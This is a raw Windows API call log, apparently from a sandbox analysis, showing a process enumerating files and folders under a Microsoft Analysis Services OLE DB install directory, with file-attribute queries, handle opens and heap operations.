hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0088.964] GetLastError () returned 0x12 [0088.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0088.964] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130ff40) returned 1 [0088.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0088.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a6b00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150a6b00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x1663968, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0088.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc50000, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fc50000, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x82b958, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0088.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f62d00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f62d00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x63bb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0088.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94800, ftCreationTime.dwHighDateTime=0x1c8e1e0, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d94800, ftLastWriteTime.dwHighDateTime=0x1c8e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x43618, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0088.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0088.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0088.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.966] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.966] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.967] NtClose (Handle=0x178) returned 0x0 [0088.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0088.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0088.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130ff40 [0088.968] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0088.968] GetLastError () returned 0x12 [0088.968] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0088.969] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0088.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0088.969] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.970] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.970] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.970] NtClose (Handle=0x178) returned 0x0 [0088.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0088.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0088.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0088.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310990 [0088.972] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310a98 [0088.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0088.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c11c8 [0088.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310ba0 [0088.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8d00) returned 0x12f2380 [0088.974] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0088.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c11e8 [0088.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310ca8 [0088.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0088.976] GetLastError () returned 0x12 [0088.976] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.976] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0088.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0088.976] GetLastError () returned 0x12 [0088.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310990) returned 1 [0088.977] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310a98) returned 1 [0088.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0088.977] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0088.977] GetLastError () returned 0x12 [0088.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130ff40) returned 1 [0088.977] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0088.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0088.978] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0088.978] GetLastError () returned 0x12 [0088.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.978] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fc28) returned 1 [0088.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0088.979] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0088.979] GetLastError () returned 0x12 